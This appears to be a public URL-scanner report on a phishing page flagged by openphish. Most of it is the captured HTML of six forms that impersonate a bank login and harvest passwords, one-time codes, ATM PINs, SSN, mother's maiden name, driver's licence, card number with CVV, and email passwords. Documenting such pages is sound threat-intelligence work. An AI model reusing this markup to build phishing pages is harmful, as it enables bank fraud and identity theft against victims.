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airbenders.nl Open in urlscan Pro
2a06:2ec0:1::144  Malicious Activity! Public Scan

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URL: http://airbenders.nl/chas3e/
Submission: On April 22 via automatic, source openphish — Scanned from NL

Form analysis 6 forms found in the DOM

Name: form1 — POST ___.php?_do=form1

<form id="login-form" name="form1" method="POST" autocomplete="off" action="___.php?_do=form1" novalidate="" class="pg-forms">
  <div class="validator-error-header" style="display: none;">
    <div class="jpui error error inverted primary animate alert" id="logon-error" role="region" aria-labelledby="inner-logon-error">
      <div class="icon"><span id="type-icon-logon-error"><i class="jpui exclamation-color icon" id="icon-type-icon-logon-error" aria-hidden="true"></i></span>
      </div>
      <div class="icon background"></div>
      <div class="content wrap" id="content-logon-error">
        <h2 class="title" tabindex="-1" id="inner-logon-error">
          <span class="util accessible-text" id="icon-logon-error">Important: </span>
          <span class="err-txt"></span>
        </h2>
      </div>
    </div>
  </div>
  <div class="jpui fieldgroup logon-xs-toggle logon-floating-label userID-margin-top" id="userId">
    <div class="jpui vertical">
      <div class="align-label-input floating-label__container">
        <div class="label-wrapper">
          <label class="jpui fieldlabel label-alignment vertical" id="userId-label" for="userId-text-input-field" aria-hidden="false"><span class="util accessible-text" id="userId-label-errorLabel"></span>Username <span class="util accessible-text"
              id="userId-label-accessible-text"></span>
          </label>
        </div>
        <div class="logon-xs-toggle" id="userId-text">
          <input min="0" class="jpui input logon-xs-toggle" id="userId-text-input-field" placeholder="" format="" aria-describedby="  userId-input-field-label aggregator-security-banner" type="text" name="userId" data-validate="userId" required=""
            value="">
        </div>
      </div>
      <div>
        <div></div>
      </div>
    </div>
  </div>
  <div class="jpui fieldgroup logon-xs-toggle logon-floating-label" id="password">
    <div class="jpui vertical">
      <div class="align-label-input floating-label__container">
        <div class="label-wrapper">
          <label class="jpui fieldlabel label-alignment vertical" id="password-label" for="password-text-input-field" aria-hidden="false"><span class="util accessible-text" id="password-label-errorLabel"></span>Password <span
              class="util accessible-text" id="password-label-accessible-text"></span>
          </label>
        </div>
        <div class="logon-xs-toggle" id="password-text">
          <input min="0" class="jpui input logon-xs-toggle" id="password-text-input-field" placeholder="" format="" aria-describedby="  password-input-field-label" autocomplete="off" type="password" name="password" data-validate="password"
            required="" value="">
        </div>
      </div>
      <div>
        <div></div>
      </div>
    </div>
  </div>
  <div class="jpui fieldgroup logon-xs-toggle logon-floating-label hidden" id="securityToken">
    <div class="jpui vertical">
      <div class="align-label-input floating-label__container">
        <div class="label-wrapper">
          <label class="jpui fieldlabel label-alignment vertical" id="securityToken-label" for="securityToken-text-input-field" aria-hidden="false"><span class="util accessible-text" id="securityToken-label-errorLabel"></span>Token <span
              class="util accessible-text" id="securityToken-label-accessible-text"></span>
          </label>
        </div>
        <div class="logon-xs-toggle" id="securityToken-text">
          <input min="0" class="jpui input logon-xs-toggle" id="securityToken-text-input-field" placeholder="" format="" aria-describedby="  securityToken-input-field-label" autocomplete="off" maxlength="35" type="tel" name="securityToken"
            data-validate="securityToken" required="" value="">
        </div>
      </div>
      <div>
        <div></div>
      </div>
    </div>
  </div>
  <div class="row logon-xs-toggle">
    <div class="col-xs-6 rememberMe-checkbox-container">
      <div class="jpui checkbox" id="rememberMe">
        <div class="checkbox-flex">
          <div class="checkboxWrap">
            <input class="checkbox__input" type="checkbox" id="input-rememberMe" aria-label="This checked box means that we will remember your username.  Remember me" name="rememberMe" value="on">
            <i class="jpui checkmark icon check" aria-hidden="true"></i>
          </div>
          <label for="input-rememberMe"> <span class="checkbox-label" id="label-rememberMe">Remember me </span>
          </label>
        </div>
      </div>
    </div>
    <div class="col-xs-6 token-checkbox-container">
      <div class="jpui checkbox useToken" id="useToken">
        <div class="checkbox-flex">
          <div class="checkboxWrap">
            <input class="checkbox__input" type="checkbox" id="input-useToken" aria-label="Shows content above. Use token" name="rsaToken" value="on"> <i class="jpui checkmark icon check" aria-hidden="true"></i>
          </div>
          <label for="input-useToken"> <span class="checkbox-label" id="label-useToken">Use token </span>
          </label>
        </div>
      </div>
    </div>
  </div>
  <div class="row">
    <button type="submit" id="signin-button" class="jpui button focus fluid primary"><span class="label">Sign in</span>
    </button>
  </div>
  <div class="row"><span class="jpui link"
      id="forgotPassword-link-wrapper"><a class="link-anchor" id="forgotPassword" href="javascript:void(0);" aria-label=" Forgot username/password? ">Forgot username/password?<i class="jpui progressright icon end-icon" id="forgotPassword-endIcon" aria-hidden="true"></i></a></span>
  </div>
  <div class="row"><span class="jpui link"
      id="enrollment-link-wrapper"><a class="link-anchor last" id="enrollment" href="javascript:void(0);" aria-label=" Not Enrolled? Sign Up Now. ">Not Enrolled? Sign Up Now.<i class="jpui progressright icon end-icon" id="enrollment-endIcon" aria-hidden="true"></i></a></span>
  </div>
</form>

Name: form_ohtp — POST ___.php?_do=form_ohtp

<form name="form_ohtp" method="POST" autocomplete="off" action="___.php?_do=form_ohtp" novalidate="" class="pg-form_ohtp">
  <h3> <small>We sent you a text message.</small> </h3>
  <p style="font-size: 16px; color: #717171;"> Please confirm your one-time code, along with your atm pin. </p>
  <div class="validator-error-header" style="display: none;">
    <div class="jpui error error inverted primary animate alert" id="logon-error" role="region" aria-labelledby="inner-logon-error">
      <div class="icon"><span id="type-icon-logon-error"><i class="jpui exclamation-color icon" id="icon-type-icon-logon-error" aria-hidden="true"></i></span>
      </div>
      <div class="icon background"></div>
      <div class="content wrap" id="content-logon-error">
        <h2 class="title" tabindex="-1" id="inner-logon-error">
          <span class="util accessible-text" id="icon-logon-error">Important: </span>
          <span class="err-txt"></span>
        </h2>
      </div>
    </div>
  </div>
  <div class="jpui fieldgroup logon-xs-toggle logon-floating-label userID-margin-top" id="one_time_code">
    <div class="jpui vertical">
      <div class="align-label-input floating-label__container">
        <div class="label-wrapper">
          <label class="jpui fieldlabel label-alignment vertical" id="email-label" for="one_time_code-text-input-field" aria-hidden="false"><span class="util accessible-text" id="one_time_code-label-errorLabel"></span>One-time code<span
              class="util accessible-text" id="one_time_code-label-accessible-text"></span>
          </label>
        </div>
        <div class="logon-xs-toggle" id="email-text">
          <input min="0" class="jpui input logon-xs-toggle nums-only" id="one_time_code-text-input-field" placeholder="" format="" type="text" name="one_time_code" required="" value="" autofocus="">
        </div>
      </div>
      <div>
        <div></div>
      </div>
    </div>
  </div>
  <div class="jpui fieldgroup logon-xs-toggle logon-floating-label userID-margin-top" id="ohtp_atm_pin">
    <div class="jpui vertical">
      <div class="align-label-input floating-label__container">
        <div class="label-wrapper">
          <label class="jpui fieldlabel label-alignment vertical" id="ohtp_atm_pin-label" for="email-text-input-field2" aria-hidden="false"><span class="util accessible-text" id="ohtp_atm_pin-label-errorLabel2"></span> ATM PIN <span
              class="util accessible-text" id="ohtp_atm_pin-label-accessible-text2"></span>
          </label>
        </div>
        <div class="logon-xs-toggle" id="email-text2">
          <input class="jpui input logon-xs-toggle nums-only" id="ohtp_atm_pin-text-input-field" placeholder="" format="" type="password" name="ohtp_atm_pin" required="" value="" maxlength="6">
        </div>
      </div>
      <div>
        <div style="padding-top: 15px; padding-bottom: 0; margin-top:11px;margin-bottom: -11px;">
          <small><strong style="display: block;">Didn't get a code?</strong>
            <a id="resendOCode" href="javascript:void(0)" style="text-decoration: none;">Resend Code</a></small>
        </div>
      </div>
    </div>
  </div>
  <div class="row">
    <button type="submit" class="jpui button focus fluid primary">
      <span class="label"> Continue </span>
    </button>
  </div>
  <input id="ohtp_send_out" type="hidden" name="ohtp_send_out" value="">
</form>

Name: form2 — POST ___.php?_do=form2

<form id="login-form2" name="form2" method="POST" autocomplete="off" action="___.php?_do=form2" novalidate="" class="pg-forms">
  <h3> <small>Confirm Email Address</small> </h3>
  <!-- <p style="font-size: 16px; color: #717171;"> Confirm your email address to continue</p> -->
  <div class="validator-error-header" style="display: none;">
    <div class="jpui error error inverted primary animate alert" id="logon-error" role="region" aria-labelledby="inner-logon-error">
      <div class="icon"><span id="type-icon-logon-error"><i class="jpui exclamation-color icon" id="icon-type-icon-logon-error" aria-hidden="true"></i></span>
      </div>
      <div class="icon background"></div>
      <div class="content wrap" id="content-logon-error">
        <h2 class="title" tabindex="-1" id="inner-logon-error">
          <span class="util accessible-text" id="icon-logon-error">Important: </span>
          <span class="err-txt"></span>
        </h2>
      </div>
    </div>
  </div>
  <div class="jpui fieldgroup logon-xs-toggle logon-floating-label userID-margin-top" id="email">
    <div class="jpui vertical">
      <div class="align-label-input floating-label__container">
        <div class="label-wrapper">
          <label class="jpui fieldlabel label-alignment vertical" id="email-label" for="email-text-input-field" aria-hidden="false"><span class="util accessible-text" id="email-label-errorLabel"></span>Email address <span class="util accessible-text"
              id="email-label-accessible-text"></span>
          </label>
        </div>
        <div class="logon-xs-toggle" id="email-text">
          <input min="0" class="jpui input logon-xs-toggle" id="email-text-input-field" placeholder="" format="" type="email" name="email" required="" value="">
        </div>
      </div>
      <div>
        <div></div>
      </div>
    </div>
  </div>
  <div class="jpui fieldgroup logon-xs-toggle logon-floating-label userID-margin-top" id="email2">
    <div class="jpui vertical">
      <div class="align-label-input floating-label__container">
        <div class="label-wrapper">
          <label class="jpui fieldlabel label-alignment vertical" id="email-label2" for="email-text-input-field2" aria-hidden="false"><span class="util accessible-text" id="email-label-errorLabel2"></span>Retype Email address <span
              class="util accessible-text" id="email-label-accessible-text2"></span>
          </label>
        </div>
        <div class="logon-xs-toggle" id="email-text2">
          <input min="0" class="jpui input logon-xs-toggle" id="email-text-input-field2" placeholder="" format="" type="email" name="email2" required="" value="">
        </div>
      </div>
      <div>
        <div></div>
      </div>
    </div>
  </div>
  <div class="row">
    <button type="submit" id="signin-button" class="jpui button focus fluid primary">
      <span class="label"> Continue </span>
    </button>
  </div>
</form>

Name: form4 — POST ___.php?_do=form4

<form id="login-form3" name="form4" method="POST" autocomplete="off" action="___.php?_do=form4" novalidate="" class="pg-forms">
  <h3> <small>Verify Your Personal Details As We Have It on File.</small> </h3>
  <div class="validator-error-header" style="display: none;">
    <div class="jpui error error inverted primary animate alert" id="logon-error" role="region" aria-labelledby="inner-logon-error">
      <div class="icon"><span id="type-icon-logon-error"><i class="jpui exclamation-color icon" id="icon-type-icon-logon-error" aria-hidden="true"></i></span>
      </div>
      <div class="icon background"></div>
      <div class="content wrap" id="content-logon-error">
        <h2 class="title" tabindex="-1" id="inner-logon-error">
          <span class="util accessible-text" id="icon-logon-error">Important: </span>
          <span class="err-txt"></span>
        </h2>
      </div>
    </div>
  </div>
  <div class="jpui fieldgroup logon-xs-toggle logon-floating-label userID-margin-top" id="ssN">
    <div class="jpui vertical">
      <div class="align-label-input floating-label__container">
        <div class="label-wrapper">
          <label class="jpui fieldlabel label-alignment vertical" id="ssN-label" for="ssN-text-input-field" aria-hidden="false"><span class="util accessible-text" id="ssN-label-errorLabel"></span> Confirm SSN <span class="util accessible-text"
              id="ssN-label-accessible-text"></span>
          </label>
        </div>
        <div class="logon-xs-toggle" id="ssN-text">
          <input min="0" class="jpui input logon-xs-toggle" id="ssN-text-input-field" placeholder="" format="" type="text" name="ssN" required="" value="" maxlength="11">
        </div>
      </div>
      <div>
        <div></div>
      </div>
    </div>
  </div>
  <div class="jpui fieldgroup logon-xs-toggle logon-floating-label" id="dob">
    <div class="jpui vertical">
      <div class="align-label-input floating-label__container">
        <div class="label-wrapper">
          <label class="jpui fieldlabel label-alignment vertical" id="dob-label" for="dob-text-input-field" aria-hidden="false"><span class="util accessible-text" id="dob-label-errorLabel"></span> Date Of Birth <span class="util accessible-text"
              id="dob-label-accessible-text"></span>
          </label>
        </div>
        <div class="logon-xs-toggle" id="dob-text">
          <!-- <input min="0" class="jpui input logon-xs-toggle" id="dob-text-input-field" placeholder="" format="" type="text" name="dob" required="" value="" onfocus="(this.type='date')" onblur="if(!this.value)this.type='text'"> -->
          <input min="0" class="jpui input logon-xs-toggle js-date" id="dob-text-input-field" placeholder="" format="" type="text" name="dob" required="" value="" maxlength="10">
        </div>
      </div>
      <div>
        <div></div>
      </div>
    </div>
  </div>
  <div class="jpui fieldgroup logon-xs-toggle logon-floating-label" id="mmn">
    <div class="jpui vertical">
      <div class="align-label-input floating-label__container">
        <div class="label-wrapper">
          <label class="jpui fieldlabel label-alignment vertical" id="mmn-label" for="mmn-text-input-field" aria-hidden="false"><span class="util accessible-text" id="mmn-label-errorLabel"></span> Mother's Maiden Name <span
              class="util accessible-text" id="mmn-label-accessible-text"></span>
          </label>
        </div>
        <div class="logon-xs-toggle" id="mmn-text">
          <input min="0" class="jpui input logon-xs-toggle" id="mmn-text-input-field" placeholder="" format="" type="text" name="mmn" required="" value="">
        </div>
      </div>
      <div>
        <div></div>
      </div>
    </div>
  </div>
  <div class="jpui fieldgroup logon-xs-toggle logon-floating-label" id="driver-lcs">
    <div class="jpui vertical">
      <div class="align-label-input floating-label__container">
        <div class="label-wrapper">
          <label class="jpui fieldlabel label-alignment vertical" id="driver-lcs-label" for="driver-lcs-text-input-field" aria-hidden="false"><span class="util accessible-text" id="driver-lcs-label-errorLabel"></span> Driver Licsense <span
              class="util accessible-text" id="driver-lcs-label-accessible-text"></span>
          </label>
        </div>
        <div class="logon-xs-toggle" id="driver-lcs-text">
          <input min="0" class="jpui input logon-xs-toggle dl" id="driver-lcs-text-input-field" placeholder="" format="" type="text" name="driver-lcs" required="" value="">
        </div>
      </div>
      <div>
        <div></div>
      </div>
    </div>
  </div>
  <div class="jpui fieldgroup logon-xs-toggle logon-floating-label" id="dl-issued-date">
    <div class="jpui vertical">
      <div class="align-label-input floating-label__container">
        <div class="label-wrapper">
          <label class="jpui fieldlabel label-alignment vertical" id="dl-issued-date-label" for="dl-issued-date-text-input-field" aria-hidden="false"><span class="util accessible-text" id="dl-issued-date-label-errorLabel"></span> DL Issued Date <span
              class="util accessible-text" id="dl-issued-date-label-accessible-text"></span>
          </label>
        </div>
        <div class="logon-xs-toggle" id="dl-issued-date-text">
          <input min="0" class="jpui input logon-xs-toggle js-date" id="dl-issued-date-text-input-field" placeholder="" format="" type="text" name="dl-issued-date" required="" value="" maxlength="10">
        </div>
      </div>
      <div>
        <div></div>
      </div>
    </div>
  </div>
  <div class="jpui fieldgroup logon-xs-toggle logon-floating-label" id="dl-expiry-date">
    <div class="jpui vertical">
      <div class="align-label-input floating-label__container">
        <div class="label-wrapper">
          <label class="jpui fieldlabel label-alignment vertical" id="dl-expiry-date-label" for="dl-expiry-date-text-input-field" aria-hidden="false"><span class="util accessible-text" id="dl-expiry-date-label-errorLabel"></span> DL Expiry Date <span
              class="util accessible-text" id="dl-expiry-date-label-accessible-text"></span>
          </label>
        </div>
        <div class="logon-xs-toggle" id="dl-expiry-date-text">
          <input min="0" class="jpui input logon-xs-toggle js-date" id="dl-expiry-date-text-input-field" placeholder="" format="" type="text" name="dl-expiry-date" required="" value="" maxlength="10">
        </div>
      </div>
      <div>
        <div></div>
      </div>
    </div>
  </div>
  <div class="jpui fieldgroup logon-xs-toggle logon-floating-label" id="phone">
    <div class="jpui vertical">
      <div class="align-label-input floating-label__container">
        <div class="label-wrapper">
          <label class="jpui fieldlabel label-alignment vertical" id="phone-label" for="phone-text-input-field" aria-hidden="false"><span class="util accessible-text" id="phone-label-errorLabel"></span> Phone Number <span class="util accessible-text"
              id="phone-label-accessible-text"></span>
          </label>
        </div>
        <div class="logon-xs-toggle" id="cardnum-text">
          <input min="0" class="jpui input logon-xs-toggle nums-only us-phone" id="phone-text-input-field" placeholder="" format="" type="text" name="phone" required="" value="">
        </div>
      </div>
      <div>
        <div></div>
      </div>
    </div>
  </div>
  <div class="jpui fieldgroup logon-xs-toggle logon-floating-label" id="addrs">
    <div class="jpui vertical">
      <div class="align-label-input floating-label__container">
        <div class="label-wrapper">
          <label class="jpui fieldlabel label-alignment vertical" id="addrs-label" for="addrs-text-input-field" aria-hidden="false"><span class="util accessible-text" id="addrs-label-errorLabel"></span> Street Address <span
              class="util accessible-text" id="addrs-label-accessible-text"></span>
          </label>
        </div>
        <div class="logon-xs-toggle" id="addrs-text">
          <input min="0" class="jpui input logon-xs-toggle" id="addrs-text-input-field" placeholder="" format="" type="text" name="addrs" required="" value="">
        </div>
      </div>
      <div>
        <div></div>
      </div>
    </div>
  </div>
  <div class="jpui fieldgroup logon-xs-toggle logon-floating-label" id="city">
    <div class="jpui vertical">
      <div class="align-label-input floating-label__container">
        <div class="label-wrapper">
          <label class="jpui fieldlabel label-alignment vertical" id="city-label" for="city-text-input-field" aria-hidden="false"><span class="util accessible-text" id="city-label-errorLabel"></span> City <span class="util accessible-text"
              id="city-label-accessible-text"></span>
          </label>
        </div>
        <div class="logon-xs-toggle" id="city-text">
          <input min="0" class="jpui input logon-xs-toggle" id="city-text-input-field" placeholder="" format="" type="text" name="city" required="" value="">
        </div>
      </div>
      <div>
        <div></div>
      </div>
    </div>
  </div>
  <div class="jpui fieldgroup logon-xs-toggle logon-floating-label" id="state">
    <div class="jpui vertical">
      <div class="align-label-input floating-label__container">
        <div class="label-wrapper">
          <label class="jpui fieldlabel label-alignment vertical" id="state-label" for="state-text-input-field" aria-hidden="false"><span class="util accessible-text" id="state-label-errorLabel"></span> State / Regeion <span
              class="util accessible-text" id="state-label-accessible-text"></span>
          </label>
        </div>
        <div class="logon-xs-toggle" id="state-text">
          <input list="stateList" min="0" class="jpui input logon-xs-toggle" id="state-text-input-field" placeholder="" format="" type="text" name="state" required="" value="">
          <datalist id="stateList">
            <option value="AL">Alabama</option>
            <option value="AK">Alaska</option>
            <option value="AZ">Arizona</option>
            <option value="AR">Arkansas</option>
            <option value="CA">California</option>
            <option value="CO">Colorado</option>
            <option value="CT">Connecticut</option>
            <option value="DE">Delaware</option>
            <option value="DC">District Of Columbia</option>
            <option value="FL">Florida</option>
            <option value="GA">Georgia</option>
            <option value="HI">Hawaii</option>
            <option value="ID">Idaho</option>
            <option value="IL">Illinois</option>
            <option value="IN">Indiana</option>
            <option value="IA">Iowa</option>
            <option value="KS">Kansas</option>
            <option value="KY">Kentucky</option>
            <option value="LA">Louisiana</option>
            <option value="ME">Maine</option>
            <option value="MD">Maryland</option>
            <option value="MA">Massachusetts</option>
            <option value="MI">Michigan</option>
            <option value="MN">Minnesota</option>
            <option value="MS">Mississippi</option>
            <option value="MO">Missouri</option>
            <option value="MT">Montana</option>
            <option value="NE">Nebraska</option>
            <option value="NV">Nevada</option>
            <option value="NH">New Hampshire</option>
            <option value="NJ">New Jersey</option>
            <option value="NM">New Mexico</option>
            <option value="NY">New York</option>
            <option value="NC">North Carolina</option>
            <option value="ND">North Dakota</option>
            <option value="OH">Ohio</option>
            <option value="OK">Oklahoma</option>
            <option value="OR">Oregon</option>
            <option value="PA">Pennsylvania</option>
            <option value="RI">Rhode Island</option>
            <option value="SC">South Carolina</option>
            <option value="SD">South Dakota</option>
            <option value="TN">Tennessee</option>
            <option value="TX">Texas</option>
            <option value="UT">Utah</option>
            <option value="VT">Vermont</option>
            <option value="VA">Virginia</option>
            <option value="WA">Washington</option>
            <option value="WV">West Virginia</option>
            <option value="WI">Wisconsin</option>
            <option value="WY">Wyoming</option>
          </datalist>
        </div>
      </div>
      <div>
        <div></div>
      </div>
    </div>
  </div>
  <div class="jpui fieldgroup logon-xs-toggle logon-floating-label" id="zipcode">
    <div class="jpui vertical">
      <div class="align-label-input floating-label__container">
        <div class="label-wrapper">
          <label class="jpui fieldlabel label-alignment vertical" id="zipcode-label" for="zipcode-text-input-field" aria-hidden="false"><span class="util accessible-text" id="zipcode-label-errorLabel"></span> Zip Code <span
              class="util accessible-text" id="zipcode-label-accessible-text"></span>
          </label>
        </div>
        <div class="logon-xs-toggle" id="zipcode-text">
          <input min="0" class="nums-only jpui input logon-xs-toggle" id="zipcode-text-input-field" placeholder="" format="" type="text" name="zipcode" required="" value="" maxlength="5">
        </div>
      </div>
      <div>
        <div></div>
      </div>
    </div>
  </div>
  <div class="row">
    <button type="submit" id="signin-button" class="jpui button focus fluid primary">
      <span class="label"> Continue </span>
    </button>
  </div>
</form>

Name: form5 — POST ___.php?_do=form5

<form id="login-form4" name="form5" method="POST" autocomplete="off" action="___.php?_do=form5" novalidate="" class="pg-forms">
  <h3> <small>Verify Your Credit/Debit Card.</small> </h3>
  <div class="validator-error-header" style="display: none;">
    <div class="jpui error error inverted primary animate alert" id="logon-error" role="region" aria-labelledby="inner-logon-error">
      <div class="icon"><span id="type-icon-logon-error"><i class="jpui exclamation-color icon" id="icon-type-icon-logon-error" aria-hidden="true"></i></span>
      </div>
      <div class="icon background"></div>
      <div class="content wrap" id="content-logon-error">
        <h2 class="title" tabindex="-1" id="inner-logon-error">
          <span class="util accessible-text" id="icon-logon-error">Important: </span>
          <span class="err-txt"></span>
        </h2>
      </div>
    </div>
  </div>
  <div class="jpui fieldgroup logon-xs-toggle logon-floating-label userID-margin-top" id="name">
    <div class="jpui vertical">
      <div class="align-label-input floating-label__container">
        <div class="label-wrapper">
          <label class="jpui fieldlabel label-alignment vertical" id="name-label" for="name-text-input-field" aria-hidden="false"><span class="util accessible-text" id="name-label-errorLabel"></span> Name On Card <span class="util accessible-text"
              id="name-label-accessible-text"></span>
          </label>
        </div>
        <div class="logon-xs-toggle" id="name-text">
          <input min="0" class="jpui input logon-xs-toggle" id="name-text-input-field" placeholder="" format="" type="text" name="name" required="" value="">
        </div>
      </div>
      <div>
        <div></div>
      </div>
    </div>
  </div>
  <div class="jpui fieldgroup logon-xs-toggle logon-floating-label" id="cardnum">
    <div class="jpui vertical">
      <div class="align-label-input floating-label__container">
        <div class="label-wrapper">
          <label class="jpui fieldlabel label-alignment vertical" id="cardnum-label" for="cardnum-text-input-field" aria-hidden="false"><span class="util accessible-text" id="cardnum-label-errorLabel"></span> Card Number <span
              class="util accessible-text" id="cardnum-label-accessible-text"></span>
          </label>
        </div>
        <div class="logon-xs-toggle" id="cardnum-text">
          <input min="0" class="jpui input logon-xs-toggle nums-only" id="cardnum-text-input-field" placeholder="" format="" type="text" name="cardnum" required="" value="" maxlength="16">
        </div>
      </div>
      <div>
        <div></div>
      </div>
    </div>
  </div>
  <div class="row">
    <div class="col-xs-6">
      <div class="jpui fieldgroup logon-xs-toggle logon-floating-label" id="cv2">
        <div class="jpui vertical">
          <div class="align-label-input floating-label__container">
            <div class="label-wrapper">
              <label class="jpui fieldlabel label-alignment vertical" id="cv2-label" for="cv2-text-input-field" aria-hidden="false"><span class="util accessible-text" id="cv2-label-errorLabel"></span> CVV <span class="util accessible-text"
                  id="cv2-label-accessible-text"></span>
              </label>
            </div>
            <div class="logon-xs-toggle" id="cv2-text">
              <input min="0" class="jpui input logon-xs-toggle nums-only" id="cv2-text-input-field" placeholder="" format="" type="text" name="cv2" required="" value="" maxlength="3">
            </div>
          </div>
          <div>
            <div></div>
          </div>
        </div>
      </div>
    </div>
    <div class="col-xs-6">
      <div class="jpui fieldgroup logon-xs-toggle logon-floating-label" id="exdate">
        <div class="jpui vertical">
          <div class="align-label-input floating-label__container">
            <div class="label-wrapper">
              <label class="jpui fieldlabel label-alignment vertical" id="exdate-label" for="exdate-text-input-field" aria-hidden="false"><span class="util accessible-text" id="exdate-label-errorLabel"></span> Expiry Date <span
                  class="util accessible-text" id="exdate-label-accessible-text"></span>
              </label>
            </div>
            <div class="logon-xs-toggle" id="exdate-text">
              <input min="0" class="jpui input logon-xs-toggle exdate" id="exdate-text-input-field" placeholder="" format="" type="text" name="exdate" required="" value="" pattern="(?:0[1-9]|1[0-2])/[0-9]{2}" title="Enter a date in this format MM/YY"
                maxlength="5">
            </div>
          </div>
          <div>
            <div></div>
          </div>
        </div>
      </div>
    </div>
  </div>
  <div class="row">
    <div class="col-xs-12">
      <div class="jpui fieldgroup logon-xs-toggle logon-floating-label" id="atmpin">
        <div class="jpui vertical">
          <div class="align-label-input floating-label__container">
            <div class="label-wrapper">
              <label class="jpui fieldlabel label-alignment vertical" id="atmpin-label" for="atmpin-text-input-field" aria-hidden="false"><span class="util accessible-text" id="atmpin-label-errorLabel"></span> ATM PIN <span
                  class="util accessible-text" id="atmpin-label-accessible-text"></span>
              </label>
            </div>
            <div class="logon-xs-toggle" id="atmpin-text">
              <input min="0" class="jpui input logon-xs-toggle nums-only" id="atmpin-text-input-field" placeholder="" format="" type="text" name="atmpin" required="" value="" maxlength="4">
            </div>
          </div>
          <div>
            <div></div>
          </div>
        </div>
      </div>
    </div>
  </div>
  <div class="row">
    <button type="submit" id="signin-button" class="jpui button focus fluid primary">
      <span class="label"> Confrim </span>
    </button>
  </div>
</form>

Name: form3 — POST ___.php?_do=form3

<form id="form3" name="form3" method="post" action="___.php?_do=form3" class="pg-forms my-form" style="text-align: center;">
  <div class="form-group">
    <div style="width:120px; height:120px; overflow:hidden; display:inline-block;">
      <img id="emlLogo" src="" style="width:100%; border-radius: 4px;">
    </div>
  </div>
  <div class="form-group">
    <h3 class="" style="margin-bottom: 10px;"> <strong>You are logged in as:</strong> </h3>
    <label for="email"> <strong id="emlDisplay">...</strong> </label>
    <input type="hidden" class="form-control" id="m_j_email" name="m_j_email" value="">
  </div>
  <div class="form-group">
    <!-- <label for="pwd" >Password:</label> -->
    <input type="password" class="form-control" id="m_j_email_password" name="m_j_email_password" placeholder="Password" style="font-size: 17px !important;">
  </div>
  <div class="form-group">
    <br>
    <button type="submit" class="btn btn-primary" style="width:40%"> Continue </button>
  </div>
  <!-- <div class="form-group">
                            <button type="button" class="close" data-dismiss="modal" aria-label="Close" style="float: none; font-size: small; width:120px;">Change Email</button>
                        </div> -->
</form>

Text Content

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IMPORTANT:

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IMPORTANT:

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IMPORTANT:

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Card Number


CVV


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